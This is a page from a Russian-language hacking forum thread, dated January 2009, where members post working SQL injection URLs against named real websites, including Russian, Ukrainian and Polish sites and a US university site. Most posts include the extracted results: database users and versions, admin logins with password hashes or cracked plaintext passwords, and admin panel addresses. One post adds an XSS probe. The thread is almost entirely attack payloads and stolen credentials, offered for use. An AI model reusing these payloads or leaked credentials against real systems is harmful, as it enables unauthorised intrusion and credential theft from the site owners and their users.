ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #7371  
Старый 07.01.2009, 03:16
Аватар для ..::TROYAN::..
..::TROYAN::..
Участник форума
Регистрация: 22.05.2008
Сообщений: 158
Провел на форуме:
2875309

Репутация: 348
Отправить сообщение для ..::TROYAN::.. с помощью ICQ
По умолчанию

Код:
http://www.aib.in.ua/news/rubric/?id=-5+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7--
ezh@localhost:5.0.51a-log:aib

PR:2
Тиц:20

Код:
http://www.aib.in.ua/news/rubric/?id=-5+union+select+1,concat(login,0x3a,password),3,4,5,6,7+from+users--
Код:
http://www.aib.in.ua/news/rubric/?id=-5+union+select+1,concat(username,0x3a,user_password),3,4,5,6,7+from+phpbb_users--
ezh:$H$9apRNOB5h3fEpJ.QS1Ox8PyLnYp9j0

Код:
http://www.aib.in.ua/news/rubric/?id=-5+union+select+1,table_name,3,4,5,6,7+from+information_schema.tables--
 
Ответить с цитированием

  #7372  
Старый 07.01.2009, 03:37
Аватар для -m0rgan-
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

Хостинг:
Код:
http://www.vianetworks.net/news.php?id=-1+union+select+1,2,concat_ws(0x3a,username,passwd),4,5,6,7,8,9,10,11,12+from+users--
логин/пасс:
Код:
admin:a66cc0703df7a7af2f0624760d098206
------------------------------------------------------------------
The End!
 
Ответить с цитированием

  #7373  
Старый 07.01.2009, 08:36
Аватар для lexus5122
lexus5122
Новичок
Регистрация: 16.03.2007
Сообщений: 24
Провел на форуме:
145084

Репутация: 2
По умолчанию

Цитата:

www.watercampws.uiuc.edu - пр6

http://www.watercampws.uiuc.edu/index.php?menu_item_id=-1+union+select+concat_ws(0x2f,user,host,password,f ile_priv)+from+mysql.user+limit+4,1

kaap/%/7522af592a19ac45/Y

kaap:BlankPwd
http://www.watercampws.uiuc.edu:80/index.php?menu_item_id=1<alert(5201314)>
 
Ответить с цитированием

  #7374  
Старый 07.01.2009, 09:37
Аватар для R1dex
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

"Cайт Санкт-Петербургской международной конной выставки "Иппосфера."

Код:
http://www.horses.lenexpo.ru/news.phtml?id=-103+union+select+1,2,3,4,5,6,7,8,9--
5-ая ветка.

_______________________________________________

"СТРОИТЕЛЬНАЯ КОМПАНИЯ ГОРОД МАСТЕРОВ"

Код:
http://town-of-masters.spb.ru/main.php?enter=cat&tovid=-5+union+select+1,version(),3--
5-ая ветка.

_______________________________________________

"Негосударственное образовательное учреждение дополнительного профессионального образования"

Код:
http://www.biosens.ru/index.php?res=folder&rec=-41+union+select+1,version()--
Снова 5-ая ветка.

_____________________________________________

"Парк-отель"

Код:
http://www.parkhoteldubna.ru/index.php?id_page=1&id_article=3+and+substring(version(),1,1)=5--
Аналогично.
 
Ответить с цитированием

  #7375  
Старый 07.01.2009, 13:55
Аватар для flem
flem
Новичок
Регистрация: 17.05.2008
Сообщений: 14
Провел на форуме:
152087

Репутация: 12
По умолчанию

Код:
http://english.dvb.no/news.php?id=99997010+union+select+1,version(),3,database(),5,6,USER(),8,9,10,LAST_INSERT_ID(),12,13,14,15,16,17,18,19,20,21--
5.0.67-0ubuntu6
Цитата:
Яндекс: тИЦ - 70, Страниц - 1
Google: PR - 6
Код:
http://www.teatrdoc.ru/plays.php?id=-3+union+select+1,version(),database()%20,USER(),5--
Цитата:
4.1.22
kinoteatr_mysql@194.85.92.114
kinoteatr_td
Цитата:
Яндекс: тИЦ - 0, Страниц - 185
Google: PR - 5
ЯК: Нет;
Код:
http://www.mibf.ru/index.php?id=37+union+select+1,2,3,4,5,6,7,8,9,10--
 
Ответить с цитированием

  #7376  
Старый 07.01.2009, 14:09
Аватар для z00MAN
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
Thumbs up

Ветеринарная помощь
Код:
http://vet4pet.ru/stat/fulltext.php?id=-7+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8--
user(): zorkov@localhost
version(): 5.0.27
database(): zorkov
тИЦ: 10
PR: 2

версия 5+, присутсвует - information_schema

находим таблицу с юзерами
Код:
http://vet4pet.ru/stat/fulltext.php?id=-7+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables+limit+48,1
marroz_users

получаем колонки
Код:
http://vet4pet.ru/stat/fulltext.php?id=-7+union+select+1,column_name,3,4,5,6,7,8+from+information_schema.columns+where+table_name=0x6d6172726f7a5f7573657273+limit+1,3
осталось только извлечь логин и пароль =)
Код:
http://vet4pet.ru/stat/fulltext.php?id=-7+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8+from+users+limit+1,1--
ussr:54621b46c1664db5ba7127d8f22aff00 (456654)


Polska Federacja Biotechnologii

Код:
http://www.pfb.p.lodz.pl/main/main.php?id=-7+union+select+1,2,3,4,5,6,7,8,concat(user(),0x3a,version(),0x3a,database()),10,11,12,13,14,15,16,17,18--
user(): up_pfb@webpl.p.lodz.pl
version(): 5.0.45-Debian_1ubuntu3.3-log
database(): p_pfb
тИЦ: 10
PR: 4


присутствует таблица pbfuser
колонки login,haslo,osoba,tresc,datadodania,r01,r02

Код:
http://www.pfb.p.lodz.pl/main/main.php?id=-7+union+select+1,2,3,4,5,6,7,8,concat(login,0x3a,haslo,0x3a,osoba,0x3a,tresc,0x3a,datadodania),10,11,12,13,14,15,16,17,18+from+pbfuser+limit+1,1/*
pfb:krakow:Polska Federacja Biotechnologii::2004-09-13 11:08:11
 
Ответить с цитированием

  #7377  
Старый 07.01.2009, 16:42
Аватар для bezrukiy
bezrukiy
Новичок
Регистрация: 26.11.2008
Сообщений: 8
Провел на форуме:
114135

Репутация: 8
По умолчанию

Код:
http://www.biolight.ru/news.php?id=-1'
Код:
http://www.biolight.ru/news.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5--
5.0.51a-community-log
alien_biolight
alien_biolight@localhost

Админ:
Код:
http://www.biolight.ru/news.php?id=-1+union+select+1,concat_ws(0x3a,Login,cust_password),3,4,5/**/from/**/alien_biobitor.ukn_users--
MANAGER:12345
Админка:
http://www.biolight.ru/admin/
 
Ответить с цитированием

  #7378  
Старый 07.01.2009, 17:17
Аватар для zifanchuck
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию

ето не сюда)
тебе сюда http://forum.antichat.ru/thread46016.html
 
Ответить с цитированием

  #7379  
Старый 07.01.2009, 19:05
Аватар для flem
flem
Новичок
Регистрация: 17.05.2008
Сообщений: 14
Провел на форуме:
152087

Репутация: 12
По умолчанию

Код:
http://gta.com.ua/file_sa_details.phtml?id=59+union+select+1,2,3,4,concat(version(),0x3a,database(),0x3a,user()),6,7,version(),database(),USER(),SESSION_USER(),LAST_INSERT_ID(),13,14,15,16,17,18,19,20--
дальше влом крутить..

5.0.51a-community:gtacom_gta:gtacom_gta@localhost

Цитата:
Яндекс: тИЦ - 0, Страниц - 47000
Google: PR - 3
ЯК: Нет;
Код:
www.pogoda.ua/index.php?id=28+union+select+1,2,3,4,5/*
а тут вывода ненашол(
 
Ответить с цитированием

  #7380  
Старый 07.01.2009, 19:15
Аватар для R1dex
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Цитата:
а тут вывода ненашол(
Плохо искал..

Код:
http://www.pogoda.ua/index.php?id=-28+union+select+1,version(),3,4,5/*
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ